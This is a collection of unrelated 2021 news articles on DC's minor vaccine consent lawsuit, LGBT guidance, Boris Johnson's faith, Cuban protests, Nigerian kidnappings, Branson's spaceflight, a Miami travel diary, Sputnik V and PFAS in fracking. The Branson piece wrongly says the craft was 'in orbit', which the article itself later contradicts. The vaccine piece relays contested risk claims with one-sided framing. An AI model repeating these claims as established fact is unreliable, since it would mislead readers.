Parents sue DC over 'reckless,' 'unconstitutional' law to vaccinate kids without parental consent

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Parents in Washington, D.C., have filed a lawsuit against the District over a new law that allows officials to vaccinate children in public schools without parental consent, even if they have a religious objection.

The municipal regulation, known as the "Minor Consent to Vaccinations Act of 2020," was passed by the council in a vote of 10-3 in November and went into effect on March 19. It enables children ages 11 and older to consent to a vaccine if they are deemed "capable of meeting the informed consent standard" and "... able to comprehend ... significant risks ordinarily inherent in the medical care."

Under the law, students can have vaccines administered to them without their parents' knowledge because insurance providers are required to "seek reimbursement, without parental consent ..."

Insurance companies are also prohibited from sending parents an "Explanation of Benefits" detailing the medical service their child received. Yet children will be given access to their immunization records "without parental consent."

Childrens Health Defense and the Parental Rights Foundation filed a lawsuit in the U.S. District for the District of Columbia on behalf of four parents who have religious objections to their children getting COVID-19 vaccinations and say the mandate is unconstitutional.

The D.C. Act is reckless, unconstitutional, and needlessly endangers childrens lives by stripping away parental protection and the protection of the National Childhood Vaccine Injury Act of 1986, said Mary Holland, president and general counsel of the Childrens Health Defense, in a statement.

The Minor Consent Act subverts the right and duty of parents to make informed decisions about whether their children should receive vaccinations, by both depriving them of the opportunity to make those decisions and by concealing from parents that their children have been asked to consent to vaccinations or may have indeed been vaccinated, the lawsuit claims.

Officials named in the lawsuit against the District include: Mayor Muriel Bowser; Laquandra Nesbitt, the director of the Department of Health; and Lewis Ferebee, chancellor of the District of Columbia Public Schools.

Though District of Columbia Public Schools is not requiring students to receive the COVID-19 vaccine before classes start in the fall, DCPS would be able to administer the vaccine to eligible children under the Minor Consent Act.

The lawsuit also states that the Minor Consent Act creates two health records for students, such as for those whose parents have a religious exemption for the HPV vaccine. The immunization record available to parents is blank, while the childs actual medical history, including vaccinations, is kept private from parents but is accessible to their children.

On its face, the Minor Consent Act circumvents parents decisions to claim a religious exemption pursuant to D.C., the lawsuit states.

Ferebee, chancellor of the DCPS, sent an email to DCPS parents on May 14 saying it was their responsibility to get vaccinated if they want to see their children back in school.

While the COVID-19 vaccine is currently not required for students to attend school next year, we encourage all students age 12 and older and their parents and caregivers to get vaccinated, the email from the chancellor read.

If you want to see students back in school, then it is our responsibility as a community for everyone to receive the COVID-19 vaccine when its available to them. We are collaborating with local health officials to host vaccination clinics at our schools, the email continued.

In another email sent on June 1, Ferefee wrote: The science is clear: Vaccines are the single most effective tool we have to stop the spread of the coronavirus. To help meet our commitment to fully reopen schools for every student, every day in the fall, it is our responsibility as a community to get vaccinated, including our middle school and high school students.

Mary Cheh, a council member and sponsor of the Minor Consent Act, said before the District's Committee on Health that anti-science beliefs of parents are putting their unvaccinated children at risk.

Unfortunately, we see a rising number of individuals or families across the globe, really, who are choosing not to vaccinate their children based on the widely disproven belief that vaccines may cause autism or other harmful health effects, Cheh said.

These anti-science beliefs not only put the unvaccinated children at risk, but have led to the spread of diseases that have been all but eradicated in the past, she continued.

DCPS opened walk-in vaccination clinics in four schools to offer the vaccine to anyone 12 years old and older.

Bowser announced all schools in the District would be fully reopened for in-person learning, five days a week, for every student starting on Aug. 30.

Shanita Williams, one of the parents named in the lawsuit, said she fears she cannot send her two children back to school in the fall without subjecting her children to receive the vaccine, despite her religious objection to it.

Another parent, Shameka Williams, worries her children will be pressured to consent to the vaccine.

Reports are surfacing of adverse effects to the vaccine, especially in young adults and adolescents. The Centers for Disease Control and Prevention is now tracking cases of heart inflammation associated with the mRNA coronavirus vaccine.

Dr. Robert Malone, an mRNA pioneer, has said he believes the "benefits probably don't outweigh the risks for younger Americans contemplating whether to get vaccinated.

The CDC released an update on Tuesday called Reported Adverse Events that lists anaphylaxis, thrombosis with thrombocytopenia syndrome, myocarditis and pericarditis, and reports of death as adverse but rare side effects of the COVID-19 vaccines, which are not FDA-approved but authorized for emergency use.
'A medical scandal': The Inside Story on the transgender debate, a new porn-blocking service and more

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Christian Post reporters Brandon Showalter and Leah Klett join host Billy Hallowell to take listeners into some of the biggest stories of the week.



Showalter discusses the transgender debate and Klett breaks down a new porn-blocking service for families, a new documentary releasing from the Kendrick Brothers and more.

Why do these issues matter and what's really going on behind the headlines? Get the inside story during this episode of "The Christian Post Podcast."

Subscribe to the podcast and listen:
21 state attorneys general push back on Bidens LGBT guidance, warn religious liberty is in peril

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A group of 21 state attorneys general have signed on to a letter to the Biden administration, denouncing recent efforts to expand LGBT policies in schools that they believe would circumvent religious liberty protections and free speech rights.

Last month, the Equal Employment Opportunity Commission and the U.S. Department of Education sent out guidance for states to implement the 2020 U.S. Supreme Court ruling Bostock v. Clayton County.

In the 6-3 ruling from June of last year, the Supreme Court majority concluded that federal Title VII civil rights law banning employment discrimination on the basis of sex applied to sexual orientation and gender identity.

However, the attorneys general sent a letter last week to President Joe Biden explaining that they took issue with the EEOC and Department of Education guidance, stating in part that the administration was misapplying the Bostock ruling.

The Court in Bostock narrowly addressed employment termination and explicitly refrained from addressing sex-segregated bathrooms, locker rooms, and dress codes, reads the letter.

Similarly, Bostock did not provide any basis for a claim that using biologically accurate pronouns could violate the law. To the contrary, the First Amendment protects the right to ascribe pronouns to others based on their sex.

The letter asserts that the EEOC guidance comes across as an effort to leverage the authority of the federal government to chill protected speech disfavored by your administration.

The EEOC guidance also appears to ignore two of three protections provided to religious employers, acknowledging the Religious Freedom Restoration Act (RFRA) but nothing else, continued the attorneys general.

Bostock recognized that three religious liberty protections limit its scope: RFRA, Title VIIs express statutory exception for religious organizations, and the First Amendments protections of the employment relationship between a religious institution and its ministers.

The attorneys general letter went on to argue that the Education Departments Notice of Interpretation guidance from last month fares no better regarding Title IX interpretations.

The Notice of Interpretation is also substantively flawed. The Supreme Court expressly limited its decision in Bostock to Title VII, said the letter.

The Court emphasized that Title IX and other federal or state laws that prohibit sex discrimination were not before the Court and the Court did not prejudge any such question under those statutes.

The letter concluded that, by approving the guidance by EEOC and the Department of Education, the Biden administration harms the rule of law and undermines the legitimacy of these executive agencies.

The letter was championed by Tennessee Atty. Gen. Herbert H. Slatery III, and included among its cosigners the attorneys general representing the states of Alabama, Alaska, Arizona, Arkansas, Georgia, Idaho, Indiana, Kansas, Kentucky, Louisiana, Mississippi, Missouri, Montana, Nebraska, Ohio, Oklahoma, South Carolina, South Dakota, Texas and West Virginia.

Federal agencies do not have the authority to unilaterally change laws. That is the exclusive prerogative of Congress, said Slatery in a statement released last Wednesday.

Actions like these exclude the voices, votes and participation of the people, and their representatives, which is neither right nor constitutional.

On June 15, the EEOC announced that it was providing new resources to promote LGBT policies or "LGBT anti-discrimination" in employment in response to the Bostock decision from last year.

These included consolidating resources to explain the extent and scope of the decision and how the Biden administration believes it should be implemented by state governments, schools, private corporations and religious organizations regarding claims of employment discrimination.

All people, regardless of sexual orientation and gender identity, deserve an opportunity to work in an environment free from harassment or other discrimination, said EEOC Chair Charlotte A. Burrows in a statement that was part of the June announcement.

The new information will make it easier for people to understand their rights and responsibilities related to discrimination based on sexual orientation and gender identity.
Boris Johnson: Christianity is a superb ethical system ... I would count myself a very bad Christian

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British Prime Minister Boris Johnson, who recently got married in Westminster Cathedral and quoted from the Psalms in a media interview weeks later, hailed Christianity as a superb ethical system but added that he would count himself as a kind of very, very bad Christian.

In a lengthy biographical piece published in The Times on Saturday, British writer Tom McTague prodded him further on his faith.

A friend of the prime minister reportedly told several news outlets that he suspected that Johnson believed in a pre-Christian morality system with a multitude of gods and no clear set of rules.

So when The Times put this to Johnson, he responded, Christianity is a superb ethical system and I would count myself as a kind of very, very bad Christian. No disrespect to any other religions, but Christianity makes a lot of sense to me.

McTague also noted that the prime ministers ability to invite underestimation seems to shield him from the usual rules of politics.

Theres a magic to Boris that allows him to escape some of the political challenges that hes had since he became prime minister, the writer quotes Frank Luntz, an American pollster who was friends with Johnson at Oxford, as saying. People are more patient with him, they are more forgiving of him, because hes not a typical politician.

Last month during the G7 summit in England when ITVs Robert Peston asked Johnson whether he was now a practicing Roman Catholic, the prime minister initially sought not to respond by saying, I dont discuss these deep issues, certainly not with you.

The reporter then told Johnson that Labour Party leader Sir Keir Starmer had said he didnt believe in God. The prime minister then quickly quoted Psalm 14: The foolish man has said in his heart there is no God.

While the prime minister was baptized a Catholic, he twice married as an Anglican before his third marriage with Carrie Symonds in May.

The question of his faith as Britains first Catholic prime minister (while in office) became a serious issue last month because, as a Catholic, Johnson can no longer send the names of Church of England bishops to Queen Elizabeth.

Instead, Lord Chancellor Robert Buckland will send the names of new Church of England bishops to the queen, after a warning that the prime minister could be banished from office if he keeps doing so himself, The Telegraph reported.

An unnamed source at No. 10 told the publication that the rule is incredibly anachronistic because a Jewish or Muslim prime minister could nominate a bishop but not a Catholic.

In response to questions about Johnsons Christian faith and conversion to Catholicism, one senior Tory reportedly said earlier that the prime minister does not have a religious bone in his body.

Johnsons great-grandfather, Ali Kemal, was a Turkish Muslim journalist and politician who was brutally murdered by a mob that supported Ataturk. He knew England well, and when the British occupied Constantinople for four years at the end of World War I, he collaborated with them.

In the BBC series Who Do Think You Are, Johnson talked about his great-grandfather having memorized the entire Quran as a young boy. And it was in that interview that Johnson also mentioned that, as a student, he had won a Scripture knowledge prize.

As part of a Bible reading project for the King James Bible Trust, in which a reading of the entire Bible was posted on YouTube, Johnson read from Isaiah Chapter 11. He called the King James version the single most beautiful and influential work of English literature.
Colombian court agrees to hear case of social media star forced to remove video supporting traditional marriage

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The Colombian Constitutional Court has agreed to review the case of a social media star that seeks to overturn a national court ruling that ordered her to take down an online video wherein she expressed her belief in traditional marriage.

There are high hopes for a positive ruling affirming freedom of speech. The Courts ruling will affect whether we are allowed to share Christian views on social media, Christian legal group ADF International, which is supporting the social media star Erika Kika Nieto, said in a statement.

The national court had asked Nieto, who has millions of followers, to remove a YouTube video in which she shared her views about marriage being only between a man and a woman, but added that she tolerates other perspectives. An activist had complained about her statement.

In a previous case that arose from the same video, the court has already ruled that Nietos speech on marriage is constitutionally protected. However, another activist took Nieto to court, complaining that this same comment about marriage was offensive and discriminatory. This time, a lower court considered the video to contain hate speech and thus ordered its removal from YouTube, the legal group explained.

Everyone has the right to freely share their beliefs in public. Im glad the Constitutional Court has decided to review my case, Nieto was quoted as saying after her appeal was admitted.

I hope they will uphold everyones right to speak freely. Nobody should have to be afraid of censorship or criminal sanctions for voicing their deeply held beliefs. By speaking out, I hope to encourage debate and inspire more tolerance of different views, she added.

Nieto previously said that she wanted to be authentic with her followers without being censored or fearing criminal sanctions just for posting a video. I dont want others to be afraid to voice their beliefs. By speaking out, I hope to inspire more tolerance of different opinions.

Tomas Henriquez, ADF International's director of advocacy for Latin America and the Caribbean, said its a hallmark of a free society that all persons are able to speak freely on what they believe to be right and good, especially on matters of public importance.

Nietos right to publicly express her views is not only protected by the Colombian Constitution but guaranteed by every major human rights treaty. If we value a free and vibrant society, we must always choose debate over censorship. Ultimately, people and democracy suffer when voices are silenced, Henriquez added.

A former member of Parliament in Finland, Paivi Rasanen, is also facing criminal investigations after she shared her disapproval with the Lutheran Church participating in an LGBT pride event in 2019.

According to ADF International, the Finnish prosecutor general accused her of ethnic agitation, which is punishable by up to two years in prison.

Freedom of speech is a fundamental right that is coming under increasing fire in todays cancel culture. Both Nietos and Rasanens cases show that the freedom to share what we believe must be properly protected, ADF International Deputy Director Robert Clarke said in a previous statement.
Thousands of Cubans stage largest protest against communist dictatorship in decades

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The people of Cuba on Sunday demonstrated their anger against the communist government in what is said to be the largest protest in decades amid shortages of medicine and food during the pandemic.

Protests were held in cities around the Caribbean island country, including in San Antonio de los Banos, Palma Soriano and Havana, according to reports.

It is the most massive popular demonstration to protest the government that we have experienced in Cuba since 59, the year Fidel Castro took power, Cuban activist Carolina Barrero was quoted as telling The New York Times.

She called the protests spontaneous, frontal and forceful.

The slogans people shouted included "Yes we can!" and Freedom, The Washington Post reported. Videos also emerged on social media.

Cuba has been a one-party state under the Communist Party of Cuba since the late dictator Fidel Castro overthrew the United States-supported dictatorship of Fulgencio Batista in 1959. In 2008, Castros brother Raul Castro was elected president, followed by Miguel Diaz-Canel in 2019.

International travel restrictions and monthslong COVID-19 lockdown within the country have caused an economic crisis in Cuba.

Hours after the protests erupted, President Diaz-Canel addressed the nation on national television, urging government supporters to confront the protesters on the streets. He also accused the U.S. of causing the crisis in Cuba by imposing sanctions.

Public officials from Florida, where many Cuban migrants and refugees live, backed the Cuban peoples protest.

Florida supports the people of Cuba as they take to the streets against the tyrannical regime in Havana, Florida Gov. Ron DeSantis wrote on Twitter.

The Cuban dictatorship has repressed the people of Cuba for decades & is now trying to silence those who have the courage to speak out against its disastrous policies."

Sen. Marco Rubio, R-Fla., a Cuban-American, warned Cuba was likely to impose an information crackdown on its people.

The incompetent communist party of #Cuba it cannot feed the people or protect them from the virus. Now the military must defend the people, not the communist party, he tweeted.

Rubio also said he would request President Joe Biden and Secretary of State Antony Blinken to ask the members of the Cuban army not to shoot at their people.

The Cuban government amended its Constitution in 1992, declaring Cuba a secular state instead of an atheist state, partially allowing religious activities. Since then, the percentage of the countrys population that identifies as Christian has grown. However, the communist regime of Cuba persecutes Christians. A new constitution was adopted in 2019, which also lists the country as a secular state.

According to the Pew-Templeton Global Religious Futures Project, about 59% of Cubans are Christian. Cuban Christians face constant government surveillance and infiltration even though the church is growing in the island country.

In 2019, Cuba barred evangelical leaders from traveling to Washington, D.C., to talk about the human rights situation during the U.S. State Department's ministerial on international religious freedom.



In 2019 and 2020, the State Department placed Cuba on its special watch list of countries that engage in or tolerate severe violations of religious freedom.

In a March 2020 report, the U.S. Commission on International Religious Freedom detailed how Cuban authorities manipulated the legal system to wage persistent harassment against religious leaders. The panel also voiced concerns over the denial of religious freedom for human rights activists and journalists.
Nigeria: Christian schools ordered to close amid spate of kidnappings

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After more than 140 students were abducted from a Christian boarding school in the Kaduna state in northwestern Nigeria, authorities have ordered the closure of schools in the area, identifying them as vulnerable.

The head of the Kaduna State Schools Quality Assurance Authority sent a letter last week to 13 schools in the state, most of which are run by Christian groups. The letter ordered the schools to halt all classes temporarily, the United Kingdom-based nonprofit Christian Solidarity Worldwide reports.

The letter stated that the decision to close the schools was made at a meeting with the National Association of proprietors of Private Schools (NAPPS) and some key stakeholders.

Among the schools identified for closure are Deeper Life Academy in Maraban Rido, Evangelical Church Winning All Secondary School in Ungwar Maje, St. Peters Minor Seminary in Katari and Bethel Baptist High School, which was the latest target.

Kaduna state has become an epicenter for abductions in Nigeria, where four kidnapping incidents took place within 24 hours last week.

Last Monday, the day senior students were scheduled to take their final exams at Bethel Baptist High School in the Chikun local government area, armed assailants barged into the compound and abducted at least 140 of them.

The head of Kaduna's Baptist conference said at least 28 students had been reunited with their families. A teacher has also reportedly been rescued while the search continues for remaining hostages.

The abductors promised the parents that their children would not starve if they provided rice, beans, palm oil, salt and stock cubes. They said a ransom demand would follow, Reuters reported.

Video footage released by Christian Solidarity Worldwide shows distressed mothers and fathers crying out to God and praying on the school grounds for the release of their children.

Terrorist groups with a foothold in the region, like Boko Haram, have carried out mass kidnappings in recent years, including kidnapping over 200 girls from a school in Chibok in 2014.

Dede Laugesen, the executive director of Save the Persecuted Christians, told The Christian Post in a previous interview that terrorists will often kidnap boys and brainwash them to become jihadis.

Kidnappings are also carried out by other criminals seeking ransom payment.

After Last Mondays abduction incident, Seun Bakare of Amnesty International told Voice of America that the dropout rate is already high due to the dangers of going to school.

We risk the loss of a generation if these attacks on schools and attacks on education continue, Bakare was quoted as saying. It is so shameful that on one hand, bandits and Boko Haram are attacking children and their right to education, on the other hand, the governments only response is to shut down schools. The government's response is also an attack on education and this is completely unacceptable.

Last Mondays abduction was the 10th mass kidnapping in northwest Nigeria since December, according to Reuters.

Many Nigerians have raised concerns about what they perceive as the governments inaction in holding terrorists accountable for the rising number of attacks and kidnappings.

In an earlier interview with CP, Emeka Umeagbalai of the International Society for Civil Liberties and the Rule of Law, said kidnappings of Christians happen for various reasons.

Some terrorists, like Boko Haram, the Islamic State West Africa Province and radical Fulani militants are motivated by money while others are motivated by Islamic radicalism.

Security analysts say kidnapping for ransom is becoming a lucrative industry in Nigeria. Weapons are becoming readily available to militants in Nigeria thanks to war-torn Libya.

Christian persecution watchdog group Open Doors USA ranks Nigeria No. 9 on its 2021 World Watch List of countries where Christians face the most severe persecution. Nigeria is also recognized as a "country of particular concern" by the U.S. State Department for tolerating or engaging in severe violations of religious freedom.
On July 11, billionaire Richard Branson made the first tourist space flight in history. The VSS Unity flight of his company Virgin Galactic was destined for the border between Earth and space. Although the Briton reached a historic milestone, there are those who doubt that he has really traveled to space, and one of them is the famous astrophysicist Neil deGrasse Tyson, a disciple of Carl Sagan.

Related: Richard Branson Wants to Send You Into Space. Here We Explain How to Participate.

The spacecraft took off on Sunday around 8:40 a.m. (local time) from Spaceport America in New Mexico. After flying for an hour to an altitude of 15 kilometers, the spacecraft released the space plane carrying Richard Branson and the crew so that it could leave the Earth's atmosphere.

The objective of the plane was to reach the limit between space and Earth, which would be 80 km high, as stipulated by the United States government. At this point, the sky turns from blue to black, the curvature of the planet can be seen, and it is possible to float in weightlessness.

After spending several minutes in orbit, VSS Unity successfully landed in New Mexico at 9:38 a.m. local time.

I have dreamt about this moment since I was a child, but going to space was more magical than I ever imagined https://t.co/Wyzj0nOBgX # Unity22 @virgingalactic pic.twitter.com/grs7vHAzca - Richard Branson (@richardbranson) July 11, 2021

Why does Neil deGrasse Tyson say that Richard Branson did not go into space?

In an interview with CNN, astrophysicist and director of the Hayden Planetarium at the Rose Center for Earth and Space, noted that, in his opinion, Richard Branson did not go on space travel.

First of all, it was suborbital. NASA did it 60 years ago with Alan Shepard, took off from Cape Canaveral and landed in the ocean. If you don't go fast enough to reach orbit you will fall and return to Earth,  explained deGrasse.

Related: Elon Musk Will Also Go Into Space Aboard Virgin Galactic, the Richard Branson Company

The presenter and science communicator also stressed that neither Richard Branson nor Jeff Bezos have actually been put into orbit.

So, did you get high enough? Did you go into orbit? Did you actually go anywhere? Did you go to the Moon, to Mars or beyond?" the writer asked.

I am delighted that this is a new tourist attraction. I have no problem or doubt with celebrating this fact. It should have happened decades ago, it didn't take 60 years for a private company to end up doing what NASA did in 1961," he added.

Next, Neil deGrasse Tyson used a globe to explain how high the International Space Station and a spacecraft orbit are. If you look at it in proportion, their orbit would be one centimeter from the scale model while the moon would be more than 10 meters away. However, the border that Branson reached is less than 2 millimeters from the surface.

It's okay if you want to call it 'space,' because average humans haven't gotten there before and it's a first for you. That's why it takes eight minutes to get into orbit and three days to reach the moon. That is actually space travel. So I don't see it as 'oh, let's go into space'. No. What you are going to have is a nice view of the Earth," he explained.

I don't even know if you're going to see the curvature. I did some calculations and I think not. If you are 2 millimeters from the surface of this globe, you don't have the full perspective. It is a visual effect that you get from 50 miles up (about 80 kilometers). So have fun," concluded deGrasse.

Related: This German Scientist Predicted That a Person Named 'Elon' Would Bring Humanity to Mars

On the other hand, Carl Sagan's pupil believes that the project of Elon Musk and his aerospace company has more merit.

"The concept of SpaceX is 'we want to send people to places', it is an effort to push that limit, that frontier of exploring space," said the scientist.

Whether or not he has traveled to space in technical terms, Sir Richard Branson's achievement opens a new era in space tourism. It is expected that in less than a week Jeff Bezos of Amazon will do the same with a ship of his company Blue Origin.

Related: 82-Year-Old Woman, Who Trained as an Astronaut in Her Youth, Will Travel to Space With Jeff Bezos

Copyright 2021 Entrepreneur.com Inc., All rights reserved
TUCSON, Ariz. (AP)  Tucson Mayor Regina Romero and Phoenix Mayor Kate Gallego are among those asking Arizonas congressional delegation to support Amtraks proposed expansion of frequent passenger rail service.

Amtrak officials would like to see passenger rail service that would connect Tucson and the Phoenix area with three round trips each day.
Due to a series of insane circumstances that I still can't wrap my angry brain around, reporter Lauren Sivan and I recently nuked a planned Nicaragua trip, yet were able to turn a Managua melon into a Miami margarita via press passes to the Mana Wynwood Convention Centers Bitcoin 2021 conference.

General tickets were going for around $1,500, while $20,0000 whale passes gave big spenders an extra day to rub elbows with e-commerce elites. Speakers included Twitter CEO Jack Dorsey, the Winklevoss Twins, skateboarder Tony Hawk (I don't know why, either) and the about-to-pummel-Logan-Paul Floyd Mayweather. Oh and El Salvador president, Nayib Bukele, who announced his country would become the world's first to adopt Bitcoin as legal tender.

Miami as a location made sense over New York, San Francisco or Los Angeles venues: Dade County is currently Bitcoin-bonkers. FTX just bought naming rights to the Heats arena while mayor, Francis Suarez, recently announced the city would accept tax payments in cryptocurrency.

Unless the government decides to regulate it to death, we're gonna see more, not less, Bitcoin in our everyday lives, Sivan explained. There's only 21 million and there's no central bank or government in control. The more I learn, the more I realize its a better system than what we have.

We roamed the convention, routinely taken aback by such sitings as Silk Road founder, Ross Ulbricht, who made his first public comments following his life sentence and recorded from a federal penitentiary, and we sampled Playboys latest whiskey venture and waited, and waited, and waited for Mayweather to finally arrive. Alas, we bolted before his super-late entrance, but I did manage to get an exclusive one-on-one with his mic.

Im impressed with the way Miami is seizing this opportunity to attract great talent to their city, noted Kelley Weaver, host of the insider-adored podcast Crypto Token Talk. I reconnected with multiple crypto entrepreneurs who recently moved from New York and San Francisco to Miami.

Between Bitcoin card games marketed to kids, crypto-curious Furries, and Sumo wrestlers asking for volunteers willing to be body-slammed, the entire enterprise was both a feast for the eyes and my portfolio! (Note to self: Get a financial portfolio.) Sasco Digital Assets content creator, Keren Margolis put it succinctly: I think what we saw at the conference looked a bit chaotic and nutty from the outside, but it was really the fringe moving further into the mainstream and that is the best news for its continued adoption, value, and success.





Related: 5 Deadliest Luxury Vacation Spots on Earth

More on Miami

Domestic travel surged to a COVID-era high over Memorial Day weekend as the US reported the fewest new cases in more than a year. The Transportation Safety Administration reported around 1.9 million cabin-feverish souls flying the skittish skies over this break.

We stayed at The Betsy Hotels nine galleries, which has become the cultural destinations within Miami Beach. Even their egg-shaped skybridge (connecting the L. Murray Dixons-designed edifice with a Henry Hohauser-built Collins Avenue property) remains an acclaimed piece of public art.

Credit: Lauren Sivan

Their sculptural Poetry Rail honors those who have flowed (Langston Hughes and Muhammad Ali to name a few) on all things Florida, while an athenaeum-amount of authored works are available to browse, borrow or burgle. All of it is a testament to owner Jonathan Plutziks lineage: His late father was a two-time Yale Poetry Award winner and 1960 Pulitzer finalist. Bonus: Hyam Plutziks prose, in what MUST be a career highlight, have been re-purposed within the subject headers of this very article.

This area is full of young people as well as people who think theyre fifteen years younger than they are, mused Jonathan on the kind of carefree clientele that helped his industry weather the COVID storm. I will say the speed with which we rebounded surprised even me.

The former Credit Suisse Vice Chairman and founding board member of Planet Word, D.C.s sanctuary to all things literary, allowed us to crash at his hotels hallowed Writers Room, a program thats welcomed more than 800 artists in residence (clearly Plutzik didnt read my clips prior to the offer).

We had a lot of people come in the middle of the pandemic, said Jonathan of his palaces partial re-opening following an endless shutdown. I was nervous, but greater Miami is an open-air environment and our building is about as open-air as you can get.

Comedy: Are words clothes or the putting off of clothes?

I moved to Miami for four months because of the pandemic, recalled comedian, Andrew Schulz, (full disclosure: hes also my far-more-successful cousin). I couldnt do stand up in New York and couldnt eat at restaurants without freezing my ass off.

For roughly four months the born-and-raised Manhattanite, along with five members of his production team, plied their YouTube trade in the county of Dade, without missing a beat or laugh.

The crowds here are unique because the show is a party, adds the Netflix alum. That annoys some comics, but audiences come to enjoy life rather than escape it.

Brittany Brave helms a monthly revue at the too-hip-for-me shopping Mecca that is Showfields. An accomplishment the comic acquired after similarly moving from a boarded-up Big Apple back to her still-shining hometown.

Its not unusual to tell jokes while competing with karaoke, reggaeton, screaming, fighting, partying and twerking, explained Brit of her usual venues. If you can wrangle that energy, its a killer show. Not sure how much of that is because of cocaine, but Ill take it.

Brave maintains Miamis standup situation benefited from ignoring the caution that caused other comedy capitals to close.

Everything was open, noted Brit, people transplanted from other markets and all of a sudden the city had a scene it didnt have before.

(Full disclosure part two: Brave moonlights as my intrepid Flori-spondent on CompoundMedia.com's Mornin!!! w/ Bill Schulz & Joanne Nosuchinsky.)

The more solvent Schulz noted another difference between the Empire and Sunshine State vibes

I got called a murderer for walking my dog without a mask in Manhattan, recalled Andrew. Hate to say this, but some New Yorkers were just terrified, and it was nice to not be around that crippling fear for a few months.

Related: At the Comedy Cellar, the Customer Is Always Right -- Unless They're an Idiot

Food and drink: Hear and hunger, look and thirst, like fools.

Former South Beach resident, Lauren Sivan, knows the best local sushi joints and spent many a night at The Plymouth Hotels Blue Ribbon while simultaneously scaring me when she was on sake.

My alone time, once Lauren hit sleepy time, began and ended at one of the greatest dives in the history of hooch.

The 88-year-old (or 95-year-old, depending on who you talk to), 14th street Mecca that is Macs Club Deuce is what I looked forward to most. It remains one of the better pubs youll ever puke at (if youre able to memorize their bathroom door code). The oldest bar in Miami (I really like writing about elderly ale houses) has changed little since its 1933 inception, save for the pink neon lights a Miami Vice crew installed while filming there in the 80s and remain to this day. Oh and check out the touching reaction Deuce regulars displayed after worshiped-regular, Anthony Bourdain, passed in 2018.

The saloons S-shaped bar, single pool table, perfect jukebox and aversion to credit cards remains intact. Did I mention you can still smoke inside?

The people-watching here is second to none, summed up Sivan. Girls in thongs enjoying giant cocktails, while waving down men, was wonderful. In a year where weve both been stuck, visiting this city just quenches a thirst.

Events: To those who look out of the window at the night

Kmele Foster (FreeThink.com), Michael Moynihan (Vice.com) and Matt Welch (Reason.com) host The Fifth Column, a wildly popular, libertarian-themed podcast that just so happened to be doing a live taping at Just The Funny, in Coral Gables. Of course, Lauren and I weaseled our way into some free tickets because were both broke AND buddies with the bastards.

Credit: Lauren Sivan

Our biggest problem wasn't COVID  it was comedy, recalled Welch when asked of pandemic-related problems while searching for a venue. One club refused to book us because we'd previously had Andrew Sullivan on our podcast. Prior to the pandemic, we had been starting to book live shows, then everything turned upside-down, but now it's clear there's a lot of energy out there for people wanting to escape house arrest.

Special guests for their two tapings included famed Florida-based columnist, Dave Barry, Reason magazine editor-at-large, Nick Gillespie and ME.

Epilogue: Whatever is lost is gained forever

Hyam Plutziks s final chapter title for this piece couldnt be more apt: Our Central American loss became a win with regards to witnessing Miamis resurgence.

Happily for Sivans alarming animal-husbandry-on-needlepoint hobby? The South Beach institution devoted to hornier learning that is The World Erotic Art Museum has apparently re-opened!

Related: Sex, Drugs and Rock 'n' Roll in the Time of Coronavirus

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MOSCOW (AP)  Russia's sovereign fund on Tuesday announced a deal with a top Indian vaccine manufacturer to produce the Russia-designed Sputnik V vaccine.

The Russian Direct Investment Fund, or RDIF, said its deal with the Serum Institute of India, the worlds largest vaccine manufacturer by volume, envisions annual production of more than 300 million doses of the vaccine in India starting in September.

This strategic partnership is a major step to substantially increase our production capabilities demonstrating a perfect example of joining forces and expertise to save lives both in India and around the world, RDIF chief executive Kirill Dmitriev said in a statement.

The RDIF, which bankrolled Sputnik V and markets it abroad, has previously negotiated Sputnik V production deals with manufacturers in several countries, including India, South Korea, Brazil, China, Turkey, as well as Belarus and Kazakhstan.

Russia gave Sputnik V regulatory approval in August 2020, raising criticism at home and abroad because it had only been tested on a few dozen people at the time. However, the criticism was blunted by a report in the British medical journal The Lancet earlier this year that said large-scale testing showed it to be safe, with an efficacy rate of 91%.

President Vladimir Putin revealed last month that he had received the Sputnik V vaccine earlier this year.

With high efficacy and a good safety profile, it is critical that the Sputnik vaccine is accessible in full measure for people across India and the world, said Adar Poonawalla, the CEO of the Serum Institute of India.

Dmitriev said that Sputnik V vaccines manufactured by the Serum Institute of India will be supplied to the Indian market and also be exported to more than 60 countries that have registered for the Russian vaccine.

The announcement came as coronavirus deaths in Russia hit another daily record Tuesday with authorities reporting 780 more fatalities amid a continuing surge in infections.

Russias coronavirus task force reported 24,702 new coronavirus cases on Tuesday. The daily tally of confirmed infections has soared from around 9,000 in early June to over 23,000 in early July.

Officials have attributed a steady rise in infections and an increase in mortality on Russians lax attitude toward taking precautions, the growing prevalence of the more contagious delta variant and vaccination reluctance.

Authorities have sought to boost vaccinations which have remained at a lower rate than in many Western countries.

As of Tuesday, about 27 million Russians, or just 18.5% of the 146 million strong population, have received at least one shot of a vaccine, and 18.5 million, or 12.6%, have been fully vaccinated.

___

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A fresh hazard has been uncovered in the oil and gas industry: For the past decade, the Environmental Protection Agency has knowingly allowed oil companies to use chemicals that could break down into PFAS  a class of highly toxic, long-lasting compounds also known as forever chemicals, which have been linked to cancers, birth defects, and other serious health problems, a new report has found.

The report, released by Physicians for Social Responsibility and first reported by The New York Times, is based on internal EPA documents obtained using the Freedom of Information Act. The documents show that the agency approved three new chemicals for use in drilling and fracking in 2011, despite clearly stated concerns about their safety: namely, that as the chemicals broke down, they would become PFAS, which, the agency said, could create a persistent, toxic threat. (The EPA did not immediately respond to a request for comment.)

The EPA didnt keep public records of where these chemicals were used, but through the FracFocus database, which tracks chemicals used in fracking around the country, the advocacy group determined that at least 1,200 wells across Arkansas, Louisiana, Oklahoma, New Mexico, Texas, and Wyoming used PFAS  or chemicals that, once degraded, turn into PFAS  between 2012 and 2020. But because many states dont require companies to report the chemicals that they inject, that number could be much higher.

The chain of possible exposure is vast  from workers in the oil fields, to truckers that haul the chemicals to disposal sites, to the communities and waterways that surround them. The evidence that people could be unknowingly exposed to these extremely toxic chemicals through oil and gas operations is disturbing, Dusty Horwitt, the author of the report, said in a statement. Considering the terrible history of pollution associated with PFAS, EPA and state governments need to move quickly to ensure that the public knows where these chemicals have been used and is protected from their impacts.

Details about the chemicals used in fracking and drilling are notoriously difficult to bring to light. The documents were heavily redacted  concealing trade names of chemicals and even the name of the company that applied for approval  likely due to a loophole that allows oil companies to conceal information about the chemicals they use as trade-secrets. But testing of oil and gas waste has found a wealth of carcinogens, heavy metals, and radioactive elements. One 2016 report from the EPA found more than 1,600 different chemicals involved in fracking alone.

But this is the first time that the use of PFAS in oil and gas drilling has been publicized, and the chemicals add a new layer of hazards to the industry.

